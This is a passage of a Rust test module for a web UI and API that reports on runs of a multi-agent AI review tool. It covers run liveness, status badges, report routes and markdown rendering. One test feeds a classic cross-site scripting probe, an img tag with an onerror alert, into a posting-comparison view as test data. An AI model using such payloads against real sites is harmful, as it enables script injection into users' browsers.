15917 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
15918 let f = Fixture::start().await;
15919 let id = "20260922-090000-cccc";
15920 let mut state = RunState::new(
15921 PathBuf::from("/repo/magi"),
15922 "main".to_owned(),
15923 "0123456789abcdef".to_owned(),
15924 "Review only".to_owned(),
15925 Config::default(),
15926 );
15927 state.id = id.to_owned();
15928 state.status = RunStatus::Reviewing;
15929 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15930 state.driver_pid = Some(std::process::id());
15936 state.driver_started_at = Some(
15937 crate::proc::process_started_at(std::process::id())
15938 .expect("this test process's own start time must be queryable"),
15939 );
15940 let dir = f.runs().join(id);
15941 std::fs::create_dir_all(&dir).expect("run dir");
15942 std::fs::write(
15943 dir.join("run.json"),
15944 serde_json::to_string_pretty(&state).expect("serialize run"),
15945 )
15946 .expect("write run.json");
15947
15948 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15949 assert_eq!(detail["live"], "live", "{detail}");
15950 }
15951
15952 #[tokio::test]
15958 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
15959 let f = Fixture::start().await;
15960 let id = "20260922-090100-dddd";
15961 let mut state = RunState::new(
15962 PathBuf::from("/repo/magi"),
15963 "main".to_owned(),
15964 "0123456789abcdef".to_owned(),
15965 "Review only".to_owned(),
15966 Config::default(),
15967 );
15968 state.id = id.to_owned();
15969 state.status = RunStatus::Reviewing;
15970 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15971 state.driver_pid = Some(std::process::id());
15976 state.driver_started_at = Some("1".to_owned());
15977 let dir = f.runs().join(id);
15978 std::fs::create_dir_all(&dir).expect("run dir");
15979 std::fs::write(
15980 dir.join("run.json"),
15981 serde_json::to_string_pretty(&state).expect("serialize run"),
15982 )
15983 .expect("write run.json");
15984
15985 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15986 assert_eq!(detail["live"], "dead", "{detail}");
15987 }
15988
15989 #[test]
15993 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
15994 let mk = |id: &str, pid: Option<u32>| {
15995 let mut s = RunState::new(
15996 PathBuf::from("/repo/magi"),
15997 "main".to_owned(),
15998 "0123456789abcdef".to_owned(),
15999 "Add a web UI".to_owned(),
16000 Config::default(),
16001 );
16002 s.id = id.to_owned();
16003 s.driver_pid = pid;
16004 s.driver_started_at = Some("1790000000".to_owned());
16005 s
16006 };
16007 let states = vec![
16008 mk("20260902-140502-aaaa", Some(77)),
16009 mk("20260902-140502-bbbb", Some(77)),
16010 mk("20260902-140502-cccc", Some(77)),
16011 mk("20260902-140502-dddd", None),
16012 ];
16013 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16014 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16015 let sup: HashMap<String, String> = [(
16016 "20260902-140502-aaaa".to_owned(),
16017 "20260902-140502-cccc".to_owned(),
16018 )]
16019 .into();
16020
16021 let status_calls = std::cell::Cell::new(0);
16022 let identity_calls = std::cell::Cell::new(0);
16023 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16024 |_| {
16025 status_calls.set(status_calls.get() + 1);
16026 Some(true)
16027 },
16028 |_| {
16029 identity_calls.set(identity_calls.get() + 1);
16030 Some("1790000000".to_owned())
16031 },
16032 ));
16033 let rows = summarize(
16034 states,
16035 &open,
16036 &claimed,
16037 &sup,
16038 |p| probe.borrow_mut().status(p),
16039 |p| probe.borrow_mut().started_at(p),
16040 );
16041
16042 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16043 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16044 assert_eq!(rows.len(), 4);
16045 assert!(!rows[0].waiting && rows[1].waiting);
16046 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16047 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16048 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16049 assert_eq!(rows[1].superseded_by, None);
16050 }
16051
16052 #[test]
16053 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16054 let mut state = RunState::new(
16055 PathBuf::from("/repo/magi"),
16056 "main".to_owned(),
16057 "0123456789abcdef".to_owned(),
16058 "Review only".to_owned(),
16059 Config::default(),
16060 );
16061 state.id = "20260922-090200-dead".to_owned();
16062 state.status = RunStatus::Reviewing;
16063 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16064 .expect("serialize list row");
16065 assert_eq!(row["status"], "reviewing");
16066 assert_eq!(row["display_status"], "stale");
16067 assert_eq!(row["live"], "dead", "{row}");
16068 assert!(!row["done"].as_bool().unwrap());
16069 }
16070
16071 #[test]
16072 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16073 use crate::run::Liveness::{Dead, Live, Unknown};
16074 let mut state = RunState::new(
16075 PathBuf::from("/repo/magi"),
16076 "main".to_owned(),
16077 "abc".to_owned(),
16078 "Review only".to_owned(),
16079 Config::default(),
16080 );
16081 for (status, parked, node, waiting, live, expected) in [
16082 (
16083 RunStatus::Judging,
16084 true,
16085 "github-text",
16086 false,
16087 Dead,
16088 "parked",
16089 ),
16090 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16091 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16092 (
16093 RunStatus::Judging,
16094 true,
16095 "github-text",
16096 true,
16097 Dead,
16098 "waiting",
16099 ),
16100 (
16101 RunStatus::Judging,
16102 false,
16103 "github-text",
16104 true,
16105 Dead,
16106 "waiting",
16107 ),
16108 (
16109 RunStatus::Judging,
16110 false,
16111 "github-text",
16112 false,
16113 Dead,
16114 "stale",
16115 ),
16116 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16117 (RunStatus::Judging, true, "park", false, Live, "judging"),
16118 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16119 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16120 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16121 (
16122 RunStatus::Blocked,
16123 true,
16124 "github-text",
16125 true,
16126 Dead,
16127 "waiting",
16128 ),
16129 ] {
16130 state.status = status;
16131 state.parked = parked;
16132 state.events.clear();
16133 state.event(
16134 "park",
16135 "an earlier park does not determine the latest state",
16136 );
16137 state.event(node, "message is not used for classification");
16138 let summary = RunSummary::of(&state, waiting, live);
16139 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16140 assert_eq!(
16141 summary.display_status, expected,
16142 "{status:?}/{node}/{live:?}"
16143 );
16144 assert_eq!(detail.display_status, summary.display_status);
16145 assert_eq!(detail.waiting, summary.waiting);
16146 }
16147 state.status = RunStatus::Judging;
16148 state.parked = false;
16149 state.events.clear();
16150 assert_eq!(run_display_status(&state, false, Dead), "stale");
16151 }
16152
16153 #[test]
16154 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
16155 use crate::run::Liveness::{Dead, Live, Unknown};
16156 let mut state = RunState::new(
16157 PathBuf::from("/repo/magi"),
16158 "main".to_owned(),
16159 "abc".to_owned(),
16160 "Badge".to_owned(),
16161 Config::default(),
16162 );
16163 for (status, waiting, live, superseded, expected) in [
16164 (RunStatus::Gating, false, Dead, false, "stale"),
16165 (RunStatus::Gating, false, Dead, true, "superseded"),
16166 (RunStatus::Gating, false, Unknown, true, "superseded"),
16167 (RunStatus::Gating, true, Dead, true, "superseded"),
16168 (RunStatus::Gating, true, Dead, false, "waiting"),
16169 (RunStatus::Gating, false, Unknown, false, "gating"),
16170 (RunStatus::Gating, false, Live, true, "gating"),
16171 (RunStatus::Gating, true, Live, true, "waiting"),
16172 (RunStatus::Merged, false, Dead, true, "merged"),
16173 (RunStatus::Blocked, false, Dead, true, "blocked"),
16174 ] {
16175 state.status = status;
16176 let display = run_display_status(&state, waiting, live);
16177 assert_eq!(
16178 run_badge_status(&state, &display, live, superseded),
16179 expected,
16180 "{status:?}/{live:?}/superseded={superseded}"
16181 );
16182 }
16183 }
16184
16185 #[test]
16186 fn summarize_and_detail_expose_badge_status() {
16187 use crate::run::Liveness::Dead;
16188 let mut state = RunState::new(
16189 PathBuf::from("/repo/magi"),
16190 "main".to_owned(),
16191 "abc".to_owned(),
16192 "Badge".to_owned(),
16193 Config::default(),
16194 );
16195 state.status = RunStatus::Gating;
16196 let none = HashSet::new();
16197 let id = state.id.clone();
16198 let mut by = HashMap::new();
16199 let rows = summarize(
16200 [state.clone()],
16201 &none,
16202 &none,
16203 &by,
16204 |_| Some(false),
16205 |_| None,
16206 );
16207 assert_eq!(rows[0].badge_status, rows[0].display_status);
16209 by.insert(id, "20260901-000000-913b".to_owned());
16210 let detail = RunDetailView::of(
16211 state.clone(),
16212 false,
16213 Dead,
16214 Some("913b".to_owned()),
16215 None,
16216 None,
16217 );
16218 assert_eq!(detail.badge_status, "superseded");
16219 let json = serde_json::to_value(&detail).unwrap();
16220 assert_eq!(json["badge_status"], "superseded");
16221 let detail = RunDetailView::of(state, false, Dead, None, None, None);
16222 assert_eq!(detail.badge_status, "stale");
16223 }
16224
16225 #[tokio::test]
16226 async fn run_display_status_routes_share_the_open_question_store() {
16227 let f = Fixture::start().await;
16228 let id = "20260922-090200-abcd";
16229 write_run(&f.runs(), id, RunStatus::Judging);
16230 let mut state = read_run(&f.runs(), id).unwrap();
16231 state.parked = true;
16232 state.driver_exited = true;
16233 state.event("github-text", "waiting for the owner");
16234 state.save_under(f.home.path()).unwrap();
16235 let mut task = Task::new(
16236 "resumed task".to_owned(),
16237 "do it".to_owned(),
16238 PathBuf::from("/repo"),
16239 Source::Human,
16240 );
16241 task.runs = vec![id.to_owned(), id.to_owned()];
16242 f.queue().put(&mut task).unwrap();
16243 let store = f.questions();
16244 let mut q = Question::new(
16245 id.to_owned(),
16246 "github-text".to_owned(),
16247 "owner".to_owned(),
16248 "Approve the text?".to_owned(),
16249 String::new(),
16250 Vec::new(),
16251 );
16252 store.put(&mut q).unwrap();
16253 for expected in ["waiting", "parked"] {
16254 let list = f.get("/api/runs").await.json();
16255 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16256 assert_eq!(list[0]["display_status"], expected);
16257 assert_eq!(detail["display_status"], expected);
16258 assert_eq!(detail["waiting"], list[0]["waiting"]);
16259 assert_eq!(list[0]["badge_status"], expected);
16260 assert_eq!(detail["badge_status"], expected);
16261 assert!(list[0]["superseded_by"].is_null());
16262 assert!(detail["superseded_by"].is_null());
16263 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
16264 let history = task_detail["history"].as_array().unwrap();
16265 assert_eq!(history.len(), 2);
16266 assert!(history[0]["badge"].is_null());
16267 assert_eq!(history[1]["badge"], expected);
16268 q.status = ask::QuestionStatus::Answered;
16269 store.put(&mut q).unwrap();
16270 }
16271 }
16272
16273 #[tokio::test]
16274 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
16275 let f = Fixture::start().await;
16276 let id = "20260922-090200-abcd";
16277 write_run(&f.runs(), id, RunStatus::Judging);
16278 let mut state = read_run(&f.runs(), id).unwrap();
16279 state.parked = true;
16280 state.driver_exited = true;
16281 state.event("park", "stopped at a node boundary");
16282 state.save_under(f.home.path()).unwrap();
16283
16284 for expected in ["parked", "stale"] {
16285 let list = f.get("/api/runs").await.json();
16286 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16287 assert_eq!(list[0]["live"], "dead");
16288 assert_eq!(list[0]["display_status"], expected);
16289 assert_eq!(detail["display_status"], expected);
16290 state.parked = false;
16293 state.save_under(f.home.path()).unwrap();
16294 }
16295 }
16296
16297 #[tokio::test]
16298 async fn the_run_list_is_newest_first_and_honours_a_limit() {
16299 let f = Fixture::start().await;
16300 for id in [
16301 "20260902-140501-aaaa",
16302 "20260902-140502-bbbb",
16303 "20260902-140503-cccc",
16304 ] {
16305 write_run(&f.runs(), id, RunStatus::Merged);
16306 }
16307
16308 let all = f.get("/api/runs").await.json();
16309 let capped = f.get("/api/runs?limit=2").await.json();
16310
16311 assert_eq!(all[0]["id"], "20260902-140503-cccc");
16312 assert_eq!(all.as_array().map(Vec::len), Some(3));
16313 assert_eq!(capped.as_array().map(Vec::len), Some(2));
16314 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
16315 }
16316
16317 #[tokio::test]
16318 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
16319 let f = Fixture::start().await;
16320 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
16321
16322 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
16323
16324 assert_eq!(res.status, 200);
16325 assert!(
16326 res.headers
16327 .contains("content-type: text/plain; charset=utf-8"),
16328 "a browser must render it, not download it: {}",
16329 res.headers
16330 );
16331 assert!(
16335 res.body.contains("20260902-140501-a1b2"),
16336 "the report is about the run that was asked for: {}",
16337 res.body
16338 );
16339 }
16340
16341 #[tokio::test]
16342 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
16343 crate::run::pin_test_home();
16345 let f = Fixture::start().await;
16346 let id = "20260902-140501-a1b2";
16347 write_run(&f.runs(), id, RunStatus::Stalled);
16348 let path = f.runs().join(id).join("run.json");
16351 let mut v: serde_json::Value =
16352 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16353 v["tally"] = serde_json::json!({
16354 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16355 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
16356 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
16357 "met_quorum": false, "rankings": 1
16358 });
16359 v["reviews"] = serde_json::json!([{
16360 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
16361 "e2e_deferred": true,
16362 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
16363 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
16364 ]}]
16365 }]);
16366 std::fs::write(&path, v.to_string()).unwrap();
16367 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
16368 std::fs::write(
16369 f.runs().join("20260902-140502-dead").join("run.json"),
16370 "{not json",
16371 )
16372 .unwrap();
16373
16374 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16375
16376 assert_eq!(res.status, 200, "{}", res.body);
16377 assert!(res.headers.contains("content-type: application/json"));
16378 let j = res.json();
16379 assert_eq!(j["schema"], 1);
16380 assert_eq!(j["header"]["id"], id);
16381 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
16382 let kinds: Vec<&str> = j["sections"]
16383 .as_array()
16384 .unwrap()
16385 .iter()
16386 .map(|s| s["kind"].as_str().unwrap())
16387 .collect();
16388 assert_eq!(kinds, ["candidates", "tally", "review"]);
16389 let tally = &j["sections"][1]["tally"];
16390 assert_eq!(
16391 (tally["decided"].clone(), tally["provisional"].clone()),
16392 (false.into(), true.into())
16393 );
16394 let round = &j["sections"][2]["rounds"][0];
16395 assert_eq!(round["e2e"]["state"], "deferred");
16396 assert_eq!(round["findings"][0]["severity"], "major");
16397 assert_eq!(round["findings"][0]["blocking"], true);
16398 assert_eq!(round["findings"][0]["state"], "open");
16399
16400 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
16402
16403 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
16405 assert_ne!(bad.status, 200, "{}", bad.body);
16406 assert_eq!(
16407 bad.status,
16408 f.get("/api/runs/20260902-140502-dead/report").await.status
16409 );
16410 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
16411 assert_eq!(
16412 f.get("/api/runs/20260902-999999-ffff/report.json")
16413 .await
16414 .status,
16415 404
16416 );
16417 }
16418
16419 #[tokio::test]
16420 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
16421 crate::run::pin_test_home();
16422 let f = Fixture::start().await;
16423 let id = "20260902-140503-delib";
16424 write_run(&f.runs(), id, RunStatus::Merged);
16425 let path = f.runs().join(id).join("run.json");
16426 let mut v: serde_json::Value =
16427 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16428 v["judgements"] = serde_json::json!([
16429 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16430 ]);
16431 v["tally"] = serde_json::json!({
16432 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16433 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
16434 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
16435 "met_quorum": true, "rankings": 1
16436 });
16437 v["deliberation"] = serde_json::json!([
16438 {
16439 "round": 1,
16440 "turns": [
16441 {
16442 "judge": 1,
16443 "agent": "judge-1",
16444 "body": "I prefer candidate **A** because it has cleaner tests.",
16445 "tentative": "A"
16446 }
16447 ]
16448 },
16449 {
16450 "round": 2,
16451 "turns": [
16452 {
16453 "judge": 1,
16454 "agent": "judge-1",
16455 "body": "Still thinking, no choice yet.",
16456 "tentative": null
16457 }
16458 ]
16459 }
16460 ]);
16461 std::fs::write(&path, v.to_string()).unwrap();
16462
16463 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16464 assert_eq!(res.status, 200, "{}", res.body);
16465 let j = res.json();
16466 let judging = j["sections"]
16467 .as_array()
16468 .unwrap()
16469 .iter()
16470 .find(|s| s["kind"] == "judging")
16471 .expect("judging section exists");
16472
16473 let delib_lines = judging["deliberation"].as_array().unwrap();
16475 assert_eq!(delib_lines.len(), 2);
16476 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
16477 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
16478
16479 let rounds = judging["rounds"].as_array().unwrap();
16481 assert_eq!(rounds.len(), 2);
16482 let r1_t0 = &rounds[0]["turns"][0];
16483 assert_eq!(r1_t0["judge"], 1);
16484 assert_eq!(r1_t0["agent"], "judge-1");
16485 assert_eq!(r1_t0["tentative"], "A");
16486 assert_eq!(
16487 r1_t0["body"],
16488 "I prefer candidate **A** because it has cleaner tests."
16489 );
16490 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
16491
16492 let r2_t0 = &rounds[1]["turns"][0];
16493 assert_eq!(r2_t0["judge"], 1);
16494 assert_eq!(r2_t0["agent"], "judge-1");
16495 assert!(r2_t0["tentative"].is_null());
16496 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
16497 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
16498
16499 let id_empty = "20260902-140504-nodelib";
16501 write_run(&f.runs(), id_empty, RunStatus::Merged);
16502 let path_empty = f.runs().join(id_empty).join("run.json");
16503 let mut v_empty: serde_json::Value =
16504 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
16505 v_empty["judgements"] = serde_json::json!([
16506 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16507 ]);
16508 v_empty["deliberation"] = serde_json::json!([]);
16509 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
16510
16511 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
16512 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
16513 let j_empty = res_empty.json();
16514 let judging_empty = j_empty["sections"]
16515 .as_array()
16516 .unwrap()
16517 .iter()
16518 .find(|s| s["kind"] == "judging")
16519 .expect("judging section exists");
16520 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
16521 }
16522
16523 #[tokio::test]
16524 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
16525 let f = Fixture::start().await;
16526
16527 let html = f.get("/").await;
16528 let css = f.get("/app.css").await;
16529 let js = f.get("/app.js").await;
16530
16531 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
16532 assert!(
16533 html.headers
16534 .contains("content-type: text/html; charset=utf-8")
16535 );
16536 assert!(css.headers.contains("content-type: text/css"));
16537 assert!(js.headers.contains("content-type: text/javascript"));
16538 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
16539 }
16540
16541 #[test]
16542 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
16543 let body = |name: &str| {
16544 let at = APP_JS
16545 .find(name)
16546 .unwrap_or_else(|| panic!("{name} missing"));
16547 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16548 };
16549 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
16550 let note = body("function landRoundNote");
16551 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
16552 assert!(note.contains("Land round ${round}"));
16553 let land = body("function renderLand");
16554 let note_at = land
16555 .find("landRoundNote(pr)")
16556 .expect("renderLand uses the note");
16557 assert!(
16558 note_at
16559 < land
16560 .find("roundRail(pr)")
16561 .expect("renderLand uses the rail")
16562 );
16563 }
16564
16565 #[test]
16566 fn the_runs_page_redesign_keeps_its_guards() {
16567 let body = |name: &str| {
16568 let at = APP_JS
16569 .find(name)
16570 .unwrap_or_else(|| panic!("{name} missing"));
16571 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16572 };
16573 let land = body("function renderLand");
16575 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
16576 assert!(
16577 !land.contains("box.append("),
16578 "renderLand must use append()"
16579 );
16580 assert!(land.contains("append(box, ["));
16581 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
16583 assert!(
16584 body("function applyRoute")
16585 .contains("route.name !== state.route.name || route.id !== state.route.id")
16586 );
16587 assert!(!APP_JS.contains("adviseConvergeDiagram"));
16589 assert!(!INDEX_HTML.contains("advise-converge"));
16590 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
16591 assert!(APP_JS.contains("provisional"));
16592 for id in [
16593 "run-tab-overview",
16594 "run-tab-timeline",
16595 "run-tab-report",
16596 "run-report",
16597 "runs-scope",
16598 ] {
16599 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
16600 }
16601 assert!(!INDEX_HTML.contains("runs-tree"));
16602 assert!(!INDEX_HTML.contains("run-raw-panel"));
16603 assert!(APP_JS.contains("resume"));
16605 assert!(APP_JS.contains("unreadable"));
16607 }
16608
16609 #[test]
16610 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
16611 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
16612 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
16613 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
16614 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
16615 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
16616 assert!(APP_JS.contains("unreadable` : null"));
16618 }
16619
16620 #[test]
16621 fn blocked_run_detail_exposes_the_failed_gate_reason() {
16622 let mut state = RunState::new(
16623 "/repo".into(),
16624 "main".into(),
16625 "abc".into(),
16626 "task".into(),
16627 crate::config::Config::default(),
16628 );
16629 state.status = RunStatus::Blocked;
16630 state.gate_ran = true;
16631 state.gate.push(crate::run::CommandOutcome {
16632 command: "cargo make check".into(),
16633 code: Some(1),
16634 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
16635 duration_ms: 0,
16636 resource_blocked: false,
16637 });
16638 let view = RunDetailView::of(
16639 state,
16640 false,
16641 crate::run::Liveness::Unknown,
16642 None,
16643 None,
16644 None,
16645 );
16646 let value = serde_json::to_value(view).unwrap();
16647 assert_eq!(
16648 value["stop_reason"],
16649 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
16650 );
16651 }
16652
16653 #[test]
16654 fn the_run_detail_payload_says_whether_the_run_is_done() {
16655 for (status, done) in [
16657 (RunStatus::Superseded, true),
16658 (RunStatus::Blocked, true),
16659 (RunStatus::Landing, false),
16660 ] {
16661 let mut state = RunState::new(
16662 std::path::PathBuf::from("/repo"),
16663 "main".to_owned(),
16664 "abc".to_owned(),
16665 "x".to_owned(),
16666 crate::config::Config::default(),
16667 );
16668 state.status = status;
16669 let v = serde_json::to_value(RunDetailView::of(
16670 state,
16671 false,
16672 crate::run::Liveness::Unknown,
16673 None,
16674 None,
16675 None,
16676 ))
16677 .unwrap();
16678 assert_eq!(v["done"], done, "{status:?}");
16679 }
16680 }
16681
16682 fn has_strong(nodes: &[md::Node]) -> bool {
16684 serde_json::to_string(nodes).unwrap().contains("strong")
16685 }
16686
16687 #[test]
16688 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16689 let mut state = RunState::new(
16690 std::path::PathBuf::from("/repo"),
16691 "main".to_owned(),
16692 "abc".to_owned(),
16693 "x".to_owned(),
16694 crate::config::Config::default(),
16695 );
16696 let proposal = |approach: &str| {
16697 serde_json::json!({
16698 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16699 })
16700 };
16701 state.advice = Some(
16702 serde_json::from_value(serde_json::json!({
16703 "records": [
16704 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16705 "proposal": proposal("do **this**")},
16706 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16707 ],
16708 "synthesis": "- one\n- **two**\n\n`code`",
16709 }))
16710 .unwrap(),
16711 );
16712 state.candidates = serde_json::from_value(serde_json::json!([
16713 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16714 "summary": "did **it**"},
16715 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16716 ]))
16717 .unwrap();
16718 state.reviews = serde_json::from_value(serde_json::json!([{
16721 "round": 1, "head": "h",
16722 "reviews": [{
16723 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16724 "findings": [
16725 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16726 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16727 ],
16728 }],
16729 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16730 "fix": {"agent": "a", "notes": "fixed **it**",
16731 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16732 }, {"round": 2, "head": "h2", "reviews": []}]))
16733 .unwrap();
16734
16735 let v = serde_json::to_value(RunDetailView::of(
16736 state,
16737 false,
16738 crate::run::Liveness::Unknown,
16739 None,
16740 None,
16741 None,
16742 ))
16743 .unwrap();
16744
16745 let strong = |p: &str| {
16746 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16747 assert!(n.to_string().contains("strong"), "{p}: {n}");
16748 };
16749 strong("/advice_md/synthesis");
16750 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16751 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16752 strong("/advice_md/approaches/0");
16753 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16754 strong("/candidate_summaries_md/0");
16755 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16756 strong("/reviews_md/0/reviewers/0/summary");
16757 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16758 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16759 assert!(f[1].to_string().contains("strong"));
16760 strong("/reviews_md/0/reconsideration/0");
16761 strong("/reviews_md/0/fix/notes");
16762 strong("/reviews_md/0/fix/rejected/0");
16763 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
16764 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
16765 assert_eq!(v["candidates"][0]["summary"], "did **it**");
16767 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
16768 }
16769
16770 #[test]
16771 fn a_run_without_advice_has_no_advice_md() {
16772 let state = RunState::new(
16773 std::path::PathBuf::from("/repo"),
16774 "main".to_owned(),
16775 "abc".to_owned(),
16776 "x".to_owned(),
16777 crate::config::Config::default(),
16778 );
16779 let p = run_prose_md(&state);
16780 assert!(p.advice_md.is_none());
16781 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
16782 }
16783
16784 #[test]
16785 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
16786 let store = ask::Questions::at(PathBuf::from("unused"));
16787 let gt = crate::github_text::Withheld {
16788 title: false,
16789 body: true,
16790 categories: vec!["sensitive-data".into()],
16791 };
16792 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
16793 let (detail, comparison) =
16794 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16795 let mut q = Question::new(
16796 "r".into(),
16797 "github-text".into(),
16798 "posting-gate".into(),
16799 "s".into(),
16800 detail,
16801 Vec::new(),
16802 );
16803 assert!(
16804 QuestionView::of(q.clone(), &store, false)
16805 .posting_view
16806 .is_none()
16807 );
16808 q.posting_comparison = Some(comparison);
16809 let view = QuestionView::of(q.clone(), &store, false);
16810 let field = &view.posting_view.unwrap().fields[0];
16811 assert_eq!(
16812 field
16813 .original
16814 .iter()
16815 .map(|f| f.text.as_str())
16816 .collect::<String>(),
16817 body
16818 );
16819 assert!(field.original[0].text.starts_with("<img"));
16820 let original_question: Question =
16821 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
16822 assert_eq!(original_question, q);
16823 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
16824 .original
16825 .start = 1;
16826 assert!(
16827 QuestionView::of(q.clone(), &store, false)
16828 .posting_view
16829 .is_none()
16830 );
16831 q.posting_comparison = original_question.posting_comparison;
16832 q.detail.push_str("extra context");
16833 assert!(
16834 QuestionView::of(q.clone(), &store, false)
16835 .posting_view
16836 .is_some()
16837 );
16838 q.detail.insert(0, 'x');
16839 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
16840 }
16841
16842 #[test]
16843 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
